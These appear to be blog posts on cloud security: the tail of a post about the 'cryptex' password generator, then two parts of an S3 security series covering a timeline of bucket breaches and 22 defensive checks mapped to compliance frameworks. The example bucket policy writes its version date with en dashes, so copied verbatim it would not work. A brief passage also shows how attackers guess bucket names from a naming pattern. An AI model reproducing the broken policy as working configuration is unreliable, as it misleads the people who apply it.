Charset: 26 lowercase + 26 uppercase + 10 digits + 32 special = 94 characters
Entropy = 20 × log₂(94) = 131 bits
Combinations = 2¹³¹ = 2,700,000,000,000,000,000,000,000,000,000,000,000,000

At 1 billion guesses per second , that takes 10²² years to crack. The universe is 13.8 billion years old. Your password would survive heat death.

The score (90/90) measures quality:

| Points | What it checks |
|----------|-----------------------------------------|
| +10 each | Length milestones (8, 12, 16, 20 chars) |
| +10 each | Lowercase, uppercase, digits present |
| +20 | Special characters present |
| -10 | Penalties for `aaa` or `123` patterns |

90/90 = max length bonus + all character types + no dumb patterns.

Quick entropy reference:

| Entropy | Time to crack | Good for |
|-----------|---------------------|------------------------|
| 40 bits | 18 minutes | Nothing |
| 60 bits | 36 years | Throwaway accounts |
| 80 bits | 38 million years | Most accounts |
| 100+ bits | Universe dies first | Master passwords, keys |

So when your security team asks “ is this password strong enough? ” — now you know.

Quick Reference

| What you need | Command |
|----------------|-------------------------------------------------------|
| Basic password | `cryptex` |
| Longer | `cryptex -l 24` |
| Multiple | `cryptex -c 5` |
| For .env file | `cryptex --kv "A,B,C" -f env` |
| NIST compliant | `cryptex --template nist-800-63b` |
| API key | `cryptex -t api-key --api-format uuid` |
| 2FA secret | `cryptex --totp --totp-issuer "X" --totp-account "Y"` |
| Save to AWS | `cryptex --save-aws --aws-secret-name "name"` |
| WiFi + QR | `cryptex --template wifi --qr` |
| Silent | `cryptex -q` |

Links

GitHub: https://github.com/TocConsulting/cryptex

PyPI: https://pypi.org/project/cryptex-cli/

pip install cryptex-cli

That’s it. No more **_openssl rand_**.

If you found this useful, follow me for more AWS, security, and developer tools content.

The Hidden Backbone of the Internet: Why S3 Security Should Keep You Up at Night

Tarek CHEIKH — Thu, 15 Jan 2026 18:44:48 +0000

Part 1 of 4 in the S3 Security Series

When you scroll through Instagram, stream a movie on Netflix, or check your bank balance, you’re probably not thinking about cloud storage. But behind almost every digital experience you have today, there’s a good chance Amazon S3 is involved. And that’s exactly why its security matters more than most people realize.

I’ve spent over 20 years in IT architecture and cloud computing. In the past decade working with AWS, I’ve seen organizations make the same security mistakes over and over again. Mistakes that have cost companies hundreds of millions of dollars and exposed the personal data of hundreds of millions of people.

This is the first in a series of four articles where I’ll share what I’ve learned about S3 security — not from textbooks, but from real-world experience building and securing cloud infrastructure.

S3: The Invisible Giant

Let me give you some numbers that put S3’s scale into perspective.

Amazon S3 currently stores over 350 trillion objects across exabytes of data. It handles over 100 million requests per second on average. To put that in human terms: every second, S3 processes more requests than many websites receive in a year.

S3 was launched on March 14, 2006 — it’s been around for almost two decades now. And in that time, it has become foundational infrastructure for the internet. Netflix runs entirely on AWS and uses S3 for all its video storage and delivery. Airbnb uses S3 for backups and static files as they scaled from a small startup to hosting over 7 million accommodations globally. Even NASA relies on AWS infrastructure for their computing and storage needs.

When S3 has an outage — which is rare given its 99.99% availability design and 99.999999999% durability (that’s eleven 9s) — entire portions of the internet feel it. That’s how deeply embedded it has become in our digital infrastructure.

The Security Problem Nobody Talks About

Here’s the thing about S3: it’s incredibly easy to use. You can create a bucket, upload files, and share them in minutes. That simplicity is both its greatest strength and its biggest security risk.

According to research data, as many as 7% of all S3 servers were completely publicly accessible without any authentication during the peak of S3 misconfiguration issues. 35% were unencrypted. We’re not talking about small test buckets — we’re talking about production systems holding customer data, financial records, and personal information.

The issue peaked around 2017, but it didn’t stop there. These incidents have continued for years, demonstrating how difficult it can be to properly secure cloud-based resources.

The Decade of S3 Breaches: A Timeline

Let me walk you through some of the most significant S3-related breaches. These aren’t theoretical scenarios — they’re documented incidents that resulted in regulatory fines, lawsuits, and real harm to millions of people.

2017: The Year Everything Went Public

Deep Root Analytics — 198 Million Voter Records

In June 2017, security researcher Chris Vickery discovered an unsecured Amazon S3 bucket containing personal information on approximately 198 million American voters — roughly three out of every five Americans. The data was collected by Deep Root Analytics, a data analytics firm working for the Republican National Committee.

The exposed data included dates of birth, mailing addresses, phone numbers, political inclinations, voter registration status, and algorithmic predictions across 48 different categories. About 1.1 terabytes of data was available to download, not password protected. Anyone could access it simply by navigating to a six-character Amazon subdomain.

The data was exposed on June 1, 2017, when the firm updated security settings. It was discovered on June 12 and secured on June 14.

Verizon — 14 Million Customer Records

The same month, another researcher discovered a cloud-based Amazon S3 data repository that was fully downloadable and configured to allow public access. The cloud server was owned by NICE Systems, a third-party vendor handling Verizon’s back-office and call center operations.

The exposed data included customer names, phone numbers, and account PINs — enough information for anyone to access individual accounts, even those protected by two-factor authentication. Verizon was notified on June 13 about the exposure, but the bucket wasn’t locked down until June 22.

Accenture — Internal Credentials Exposed

Also in 2017, Accenture accidentally exposed sensitive data due to improperly secured AWS S3 buckets. The mistake could have allowed attackers to access internal credentials and encryption keys — essentially giving them the keys to the kingdom.

Dow Jones & Company — 2 Million+ Customer Records

The parent company of the Wall Street Journal exposed personal information about more than 2 million customers through misconfigured S3 permissions. The permissions were set to allow anyone with a free AWS account to access servers containing millions of customer account details.

WWE — Fan Database Exposed

World Wrestling Entertainment leaked information about wrestling fans including addresses, birthdates, educational background, ethnicity, earnings, and children’s age ranges. The database was found on an S3 server with no authentication required.

Alteryx — 123 Million Households

Marketing and analytics company Alteryx put sensitive data at risk for the majority of American households. A database containing addresses, phone numbers, mortgage ownership, ethnicity, and personal interest information about 123 million households was exposed on a publicly accessible S3 storage cache.

2019: The Capital One Breach

This is the one that changed everything.

On July 19, 2019, Capital One discovered that someone had accessed customer information stored in their AWS environment. The breach affected approximately 100 million individuals in the United States and about 6 million in Canada.

The exposed data included names, addresses, dates of birth, credit scores, transaction data, more than 100,000 Social Security numbers, and approximately 1 million Canadian Social Insurance Numbers. The breach represented one of the largest data breaches ever affecting the financial services industry.

How It Happened

The attacker, a former AWS engineer named Paige Thompson, exploited a server-side request forgery (SSRF) vulnerability. The attack path involved:

A misconfigured Web Application Firewall (WAF) that could be tricked into executing commands
Access to the AWS metadata service, which provided temporary credentials
An over-provisioned IAM role that granted access to S3 storage buckets
The ability to copy 30 GB of customer data across 700 different S3 buckets

The breach actually occurred between March 22–23, 2019, but wasn’t discovered until July — a four-month gap where the attacker had access to the data.

The Consequences

The financial impact was staggering:

$80 million fine from the Office of the Comptroller of the Currency (OCC)
$190 million settlement for customer lawsuits
Nearly $300 million in total losses including litigation, settlement fees, and remediation

Paige Thompson was convicted on seven federal charges related to the data theft.

2020–2021: The Breaches Continue

Prestige Software — 10 Million Hotel Booking Records (2020)

In November 2020, security researchers discovered that Prestige Software had exposed over 10 million records related to its Cloud Hospitality platform. This affected users of major travel websites including Booking.com, Expedia, and Hotels.com. The exposed data included customer names and credit card numbers — all because of a misconfigured S3 bucket.

Twitch — 125 GB Data Leak (2021)

In October 2021, Amazon-owned streaming platform Twitch suffered a massive data breach. An anonymous actor leaked a 125 GB torrent file containing the entirety of Twitch’s source code (6,000 internal Git repositories), creator payout reports from 2019, proprietary SDKs and internal AWS services, internal security tools, and an unreleased Steam competitor codenamed “Vapor.”

Security researchers found nearly 6,600 secrets inside the Twitch Git repositories, including 194 AWS keys, 69 Twilio keys, 68 Google API keys, hundreds of database connection strings, and 14 GitHub OAuth keys.

The cause? A server configuration error that allowed unauthorized access. One credible theory based on forensic analysis suggests it came from a compromised S3 bucket.

2022: Aviation and Education Under Fire

Pegasus Airlines — 6.5 TB of Flight Data (February 2022)

In February 2022, SafetyDetectives researchers discovered an unprotected AWS S3 bucket belonging to Pegasus Airlines containing 6.5 terabytes of “Electronic Flight Bag” information. The exposed data included navigation information, proprietary software, and personal information pertaining to flight crew members. Once notified, Pegasus Airlines promptly secured the bucket — but the exposure demonstrated how even aviation companies weren’t immune to basic misconfigurations.

Securitas Airport Data — 3 TB Affecting Multiple Airports (2022)

A misconfigured Amazon S3 bucket resulted in 3TB of airport security data — more than 1.5 million files — being publicly accessible without any authentication. The exposure affected at least four airports in Colombia and Peru. The leaked data included photos of airline employees, national ID cards, information about planes, fuel lines, and GPS map coordinates. Security researchers noted that this information “could present a serious threat if leveraged by terrorist groups or criminal organizations.”

McGraw Hill — 22 TB of Student Data (2022)

Educational publishing giant McGraw Hill exposed more than 100,000 students’ information through misconfigured S3 buckets. The buckets contained over 22 TB of data and 117 million files, including Excel sheets with student names, email addresses, and grades. The exposed data was linked to prestigious institutions including Johns Hopkins University, University of Michigan, UCLA, and Canada’s McGill University. The most alarming part? The misconfigured buckets could have been accessed by anyone with a web browser as far back as 2015 — potentially a seven-year exposure window.

2023: Global Organizations Fall Victim

Capita — UK Government Contractor Data Leak

Capita, a major UK government contractor, had sensitive data from councils, residents, and other sources leaked due to a misconfigured S3 bucket. The breach highlighted how third-party vendors remain a significant weak point in the supply chain.

MPD FM — UK Government Employee Data

MPD FM, a facility management and security company serving UK government departments, exposed passports, visas, national IDs, and employee data through a misconfigured S3 bucket.

Tata Motors — 70+ TB of Fleet Data

A breach at Tata Motors revealed multiple critical security oversights that allowed unauthorized access to customer databases, financial records, fleet tracking systems, and administrative dashboards. One exposed bucket contained over 70 terabytes of fleet data spanning back to 1996.

2024–2025: The Problem Persists

ESHYFT Healthcare Data Exposure (2025)

In early 2025, security researcher Jeremiah Fowler discovered a non-password-protected AWS S3 bucket belonging to ESHYFT, a healthcare staffing platform. The exposed database contained 86,341 records totaling 108.8 gigabytes of sensitive data belonging to US nurses, including profile images, professional licenses, certifications (CPR cards, BLS certifications), tax documents (W2 forms), partial Social Security numbers, and work schedule information. The bucket was secured on March 5, 2025, demonstrating that healthcare-adjacent organizations continue to struggle with basic cloud security.

Indian Bank Transfer Records — 273,000 Documents (2025)

In August 2025, UpGuard discovered a public Amazon S3 storage bucket containing over 273,000 PDF documents detailing bank transfers in India. Each file documented a single transaction, revealing unredacted bank account numbers, transaction amounts, names, phone numbers, and email addresses. The breach affected customers of at least 38 banks and financial institutions, including State Bank of India and Punjab National Bank. The bucket was indexed by GrayhatWarfare, a searchable database of publicly visible cloud storage, before being secured on September 4.

The Codefinger Ransomware Campaign (January 2025)

Perhaps most alarming is a new attack vector that emerged in early 2025. Security firm Halcyon identified a threat actor group called “Codefinger” conducting ransomware attacks that leverage AWS’s own encryption infrastructure against customers.

The attack works like this: using compromised AWS credentials, attackers encrypt S3 bucket data using Server-Side Encryption with Customer-Provided Keys (SSE-C). Once encrypted, recovery is impossible without the attacker’s key — neither the victim nor AWS can decrypt the data. The attackers then demand ransom payments for the decryption keys.

AWS’s Customer Incident Response Team confirmed they “detected a pattern where a large number of S3 CopyObject operations using SSE-C began to overwrite objects” and implemented automatic mitigations. But this attack represents a fundamental shift: instead of just exposing data, attackers can now hold it hostage using AWS’s own security features.

A 2024 Palo Alto Networks study found over 90,000 leaked .env files containing 1,185 AWS access keys — each one a potential entry point for this type of attack.

The Scale of the Problem Today

According to research by Lightspin (now Gem Security), approximately 46% of S3 buckets are potentially misconfigured, with many still publicly accessible. The Fortinet 2025 Global Threat Landscape Report notes that “cloud environments remain a top target, with adversaries exploiting persistent weaknesses, such as open storage buckets, over-permissioned identities, and misconfigured services.”

We’re not talking about a problem that was solved years ago. This is an ongoing crisis.

Understanding the Root Cause: OWASP Top 10

If you’re familiar with the OWASP Top 10, these breaches won’t surprise you. Security Misconfiguration is now ranked #5 in the OWASP Top 10 2021 — up from #6 in the previous edition.

According to OWASP, 90% of applications tested showed some form of misconfiguration, with over 208,000 occurrences of Common Weakness Enumeration (CWE) issues in this risk category.

OWASP specifically calls out cloud storage permissions: “Review cloud storage permissions (e.g., S3 bucket permissions)” as a key prevention measure.

The pattern across all these breaches is remarkably consistent:

Default configurations left unchanged — S3 buckets created with default settings that may allow unintended access
Unnecessary features enabled — Permissions granted that weren’t actually needed
Missing security hardening — Basic protections like encryption and logging not configured
Improper access controls — Overly permissive policies that expose data to the internet

Why Does This Keep Happening?

After years of working with organizations on their AWS security, I’ve identified three main reasons:

1. Speed Over Security

In the rush to deploy applications, security is often an afterthought. “We’ll lock it down later” becomes “We forgot to lock it down at all.” S3 makes it so easy to get things working that teams move on before implementing proper security controls.

2. Complexity of Cloud Security

AWS provides powerful security features, but understanding and correctly implementing them requires expertise. The shared responsibility model means AWS secures the infrastructure, but you’re responsible for securing your configurations. Many teams don’t fully understand where that line is.

3. Lack of Visibility

You can’t secure what you can’t see. Organizations often don’t have clear visibility into all their S3 buckets, their configurations, and who has access to them. Shadow IT and forgotten test buckets create blind spots.

The Stakes Have Never Been Higher

GDPR fines can reach up to 4% of annual global revenue for unencrypted personal data. HIPAA violations can cost $50,000+ per exposed patient record. PCI-DSS violations can result in loss of card processing privileges. Beyond regulatory fines, there’s the reputational damage, customer lawsuits, and the human cost of having your personal information exposed.

What’s Next

In the next article, I’ll dive deep into the specific security checks every S3 bucket needs and the compliance frameworks (CIS, AWS FSBP, PCI-DSS, HIPAA, SOC 2, ISO 27001/27017/27018, and GDPR) that drive these requirements. We’ll look at what each check protects against and why it matters.

In Part 3, I’ll introduce a tool I built to automate these security assessments — born out of my own frustration with manually checking bucket configurations across multiple accounts.

And in Part 4, we’ll cover step-by-step remediation for every security issue, with AWS Console, CLI, and Python examples you can use immediately.

Sources

2017 Breaches

2019 Capital One Breach

2020–2021 Breaches

2022 Breaches

2023 Breaches

2024–2025 Breaches

Industry Reports and Standards

AWS Documentation

The Anatomy of S3 Security: 22 Checks That Stand Between You and a Data Breach

Tarek CHEIKH — Wed, 14 Jan 2026 09:48:30 +0000

Part 2 of 4 in the S3 Security Series

In the first article of this series, I walked through the major S3 data breaches of the past decade. The pattern was consistent: misconfigured buckets, missing encryption, inadequate access controls.

Now let’s talk about what proper S3 security actually looks like.

After years of working with AWS and helping organizations secure their cloud infrastructure, I’ve identified 22 critical security checks that every S3 bucket needs. These aren’t arbitrary recommendations — they’re derived from nine major compliance frameworks that the industry has settled on as best practices.

Let me break them down for you.

The Security Check Categories

I organize S3 security into six main categories:

Access Control — Who can access your data and how
Encryption & Data Protection — Protecting data at rest and in transit
Versioning & Lifecycle — Data recovery and retention
Monitoring & Logging — Visibility into bucket activity
DNS Security — Preventing subdomain takeover attacks
Object-Level Security — Individual object permissions and CORS

Let’s dive into each.

Access Control: Your First Line of Defense

1. Public Access Block Configuration

This is the single most important security control for S3. It’s your safety net — even if you accidentally misconfigure something else, Public Access Block prevents your bucket from becoming publicly accessible.

There are four settings, and all four should be enabled:

BlockPublicAcls — Prevents new public ACLs
IgnorePublicAcls — Ignores existing public ACLs
BlockPublicPolicy — Prevents new public bucket policies
RestrictPublicBuckets — Restricts public bucket access

Remember the Capital One breach? A properly configured Public Access Block would have been one layer of defense against that attack.

2. Bucket Policy Analysis

Bucket policies are JSON documents that define who can do what with your bucket. The two critical things to check:

No wildcard principals : A policy with ” **_Principal”: “\*”_** grants access to everyone on the internet. Unless you’re intentionally hosting public content (and have other safeguards), this is almost never what you want.

SSL enforcement : Your bucket policy should deny any request that doesn’t use HTTPS. Without this, data transmitted to and from your bucket can be intercepted in transit.

Here’s what an SSL enforcement policy looks like:

{
 "Version": "2012–10–17",
 "Statement": [{
 "Effect": "Deny",
 "Principal": "*",
 "Action": "s3:*",
 "Resource": ["arn:aws:s3:::your-bucket/*"],
 "Condition": {
 "Bool": {"aws:SecureTransport": "false"}
 }
 }]
}

3. Bucket ACL Analysis

Access Control Lists (ACLs) are a legacy access control mechanism. While AWS now recommends using bucket policies instead, ACLs are still supported and can create vulnerabilities.

Check for grants to:

**_AllUsers_** — Literally everyone on the internet
**_AuthenticatedUsers_** — Any AWS account holder (not just your organization)

The Verizon breach I mentioned in Part 1? That was caused by a third-party vendor’s misconfigured ACLs.

4. Wildcard Principal Detection (CIS S3.2)

This deserves its own check because it’s so dangerous. A wildcard principal (” **_Principal”: “\*”_**) in a bucket policy effectively makes your bucket public to any AWS account globally.

The barrier to exploitation is essentially zero — anyone with a free-tier AWS account can access your data.

5. Cross-Account Access (AWS FSBP S3.6)

Even if you’ve blocked public access, you might be inadvertently sharing data with other AWS accounts. This check identifies bucket policies that grant access to external accounts.

Sometimes cross-account access is intentional and necessary. But it should be documented and reviewed regularly.

Encryption & Data Protection

6. Server-Side Encryption

Every S3 bucket should have default encryption enabled. When someone uploads a file, it should be encrypted automatically.

AWS offers three options:

SSE-S3 : Amazon manages the keys (simplest)
SSE-KMS : You manage keys through AWS Key Management Service (more control)
SSE-C : You provide your own keys (most control, most complexity)

For most use cases, SSE-S3 or SSE-KMS is appropriate. The important thing is that something is enabled.

Unencrypted data at rest is a compliance violation for virtually every framework: PCI-DSS, HIPAA, GDPR, SOC 2 — they all require encryption.

7. KMS Key Management

If you’re using SSE-KMS (which you should for sensitive data), the key itself needs proper management:

Key rotation : KMS keys should be rotated annually
Access controls : Only necessary services and roles should have key access
Customer-managed vs AWS-managed : For sensitive data, customer-managed keys give you more control

Versioning & Lifecycle Management

8. Versioning Status

Versioning keeps multiple copies of objects, allowing you to recover from accidental deletions or modifications. Think of it as version control for your data.

Without versioning, if ransomware encrypts your S3 objects or a malicious insider deletes them, they’re gone. With versioning, you can restore previous versions.

9. MFA Delete (CIS S3.20)

MFA Delete adds an extra layer of protection — even with valid credentials, someone can’t delete object versions without providing a valid MFA token.

This is particularly important for:

Audit logs
Financial records
Compliance data
Backup files

10. Lifecycle Rules (AWS FSBP S3.13)

Lifecycle rules automatically transition objects between storage classes or delete them after a specified period. This matters for security because:

Data minimization : You shouldn’t keep data longer than necessary (GDPR requirement)
Attack surface reduction : Less data = less exposure if breached
Cost management : Old data should move to cheaper storage tiers

11. Object Lock

Object Lock provides WORM (Write Once, Read Many) capability — objects cannot be deleted or overwritten for a specified period.

Two modes exist:

Governance mode : Can be overridden by users with specific permissions
Compliance mode : Cannot be overridden by anyone, including the root user

This is essential for regulatory compliance where you need to prove data hasn’t been tampered with.

Monitoring & Logging

12. Server Access Logging

Server access logging records all requests to your bucket. Without it, you have no audit trail.

If a breach occurs, the first question investigators ask is: “What was accessed?” Without logs, you can’t answer that question.

This is required by:

HIPAA (audit controls)
SOX (financial audit trails)
PCI-DSS (cardholder data access tracking)
GDPR (demonstration of compliance)

13. Event Notifications (CIS S3.11)

Event notifications trigger actions when specific events occur in your bucket — object creation, deletion, or restoration.

For security, this enables:

Real-time alerting on suspicious activity
Automated incident response
Integration with SIEM systems

14. Cross-Region Replication (CIS S3.13)

Replication copies objects to a bucket in another region. This provides:

Disaster recovery : Regional outages won’t result in data loss
Ransomware protection : If your primary bucket is compromised, you have a backup in another region
Compliance : Some regulations require geographic redundancy

Threat Detection

15. GuardDuty S3 Protection

Amazon GuardDuty is AWS’s threat detection service. When enabled for S3, it monitors:

Anomalous data access patterns
Unauthorized access attempts
Data exfiltration attempts
Compromised credentials accessing S3

This is your early warning system for attacks in progress.

16. Amazon Macie

Macie uses machine learning to automatically discover and protect sensitive data:

PII (Personally Identifiable Information)
PHI (Protected Health Information)
Financial data (credit cards, bank accounts)
Credentials and secrets

You can’t protect data you don’t know about. Macie helps you find sensitive data you might not realize you’re storing.

DNS Security

17. Route53 DNS Record Analysis

This is a critical and often overlooked vulnerability. If you have DNS records (CNAMEs) pointing to S3 buckets that no longer exist, attackers can:

Create a bucket with the same name
Serve malicious content on your domain
Harvest credentials through phishing
Damage your reputation

I’ve seen this happen more times than I’d like to admit. A team decommissions a project, deletes the S3 bucket, but forgets to remove the DNS record. Months later, someone discovers it and claims the bucket.

18. CNAME Information Disclosure

Even if your DNS records point to valid buckets, the bucket names themselves can leak information:

company-prod-api-v2.s3.amazonaws.com

This tells an attacker your naming convention. They can then guess:

company-staging-api-v2
company-dev-database-backup
company-prod-secrets

Use non-descriptive bucket names or CloudFront to obscure your S3 endpoints.

Object-Level Security

19. CORS Configuration

Cross-Origin Resource Sharing (CORS) controls which domains can access your bucket from a web browser.

A wildcard CORS origin (**_\*_**) allows any website to access your bucket’s data through a user’s browser. This enables:

Data theft from authenticated users
Cross-site scripting attacks
Session hijacking

If you need CORS, specify exactly which origins are allowed.

20. Object-Level ACLs

Even if your bucket is private, individual objects can have public ACLs. This happens when someone uploads an object with — acl public-read or through applications that default to public access.

One public object in an otherwise secure bucket is still a data leak.

21. Sensitive Data Pattern Detection

Object names themselves can indicate sensitive content:

customer-ssn-list.csv
payment-credit-cards.xlsx
database-backup.sql
aws-access-keys.txt
server-private-key.pem

These files deserve extra scrutiny and protection.

22. Public Object Detection

Beyond ACLs, objects can be made public through bucket policies. This check identifies objects that are accessible to anyone on the internet, regardless of how they got that way.

The Nine Compliance Frameworks

These 22 checks map to nine major compliance frameworks. Here’s the coverage:

CIS AWS Foundations v3.0.0: 6 S3 Controls (100% Coverage)
AWS Foundational Security Best Practices: 11 S3 Controls (100% Coverage)
PCI-DSS v4.0: 10 S3 Controls (100% Coverage)
HIPAA Security Rule: 7 S3 Controls (100% Coverage)
SOC 2 Type II: 12 S3 Controls (100% Coverage)
ISO 27001:2022: 7 S3 Controls (100% Coverage)
ISO 27017:2015: 7 S3 Controls (100% Coverage)
ISO 27018:2019: 4 S3 Controls (100% Coverage)
GDPR: 21 S3 Controls (100% Coverage)

Let me briefly explain what each framework covers:

CIS AWS Foundations Benchmark

The Center for Internet Security (CIS) provides prescriptive security configurations. Their AWS benchmark is considered the industry standard for AWS security baselines. The S3 controls focus on public access prevention, SSL enforcement, MFA delete, and logging.

AWS Foundational Security Best Practices (FSBP)

This is AWS’s own security standard, covering what they consider essential security configurations. It’s comprehensive for S3, including access controls, logging, lifecycle management, and access point security.

PCI-DSS v4.0

The Payment Card Industry Data Security Standard applies to anyone handling credit card data. The S3 controls ensure cardholder data is encrypted at rest and in transit, access is logged, and unauthorized access is prevented.

HIPAA Security Rule

If you handle Protected Health Information (PHI), HIPAA applies. The S3 controls focus on encryption (data protection), access controls (privacy), and logging (audit trails).

SOC 2 Type II

SOC 2 is a flexible framework based on Trust Service Criteria. The Security criteria is mandatory; Availability, Confidentiality, Processing Integrity, and Privacy are optional based on your business needs. S3 controls support all five criteria.

ISO 27001/27017/27018

These international standards cover information security management (27001), cloud-specific security (27017), and PII protection in cloud (27018). Together they provide comprehensive coverage for organizations operating globally.

GDPR

The General Data Protection Regulation has specific requirements for personal data of EU residents. S3 controls support encryption, access control, data minimization, retention management, and data residency requirements.

Defense in Depth: Why All 22 Checks Matter

No single security control is perfect. Defense in depth means implementing multiple overlapping controls so that if one fails, others still protect you.

Consider this attack scenario:

Attacker discovers a bucket name from a CNAME record ( DNS check would catch this )
Public Access Block isn’t fully configured ( Access control check would catch this )
Bucket policy allows public read ( Policy analysis would catch this )
Data isn’t encrypted ( Encryption check would catch this )
No logging is enabled ( Logging check would catch this )

If you had any one of these checks in place, you’d either prevent the breach or at least detect it. With all of them, you have multiple layers of protection.

The High-Risk Combinations

Some combinations of missing controls are particularly dangerous:

Public Access + No Encryption + No Logging

This is the nightmare scenario. Data is exposed, readable by anyone, and you have no way to know what was accessed.

DNS Takeover + Trusted Domain

Attackers can serve phishing pages on your legitimate domain. Users trust the URL because it’s really your domain.

No Versioning + No Replication + Weak Access Controls

Ransomware can permanently destroy all your data with no possibility of recovery.

Permissive CORS + Public Objects + Sensitive Data

Users visiting malicious websites unknowingly leak your data through their browsers.

What’s Next

Now you understand what needs to be checked and why. But manually verifying 22 security checks across dozens or hundreds of buckets isn’t practical.

In Part 3, I’ll introduce a tool I built to automate these checks — the S3 Security Scanner. It performs all 22 checks, maps findings to all nine compliance frameworks, and identifies DNS takeover vulnerabilities. I’ll explain how it works and how to use it.

And in Part 4, we’ll cover step-by-step remediation for every issue, with practical examples in AWS Console, CLI, and Python.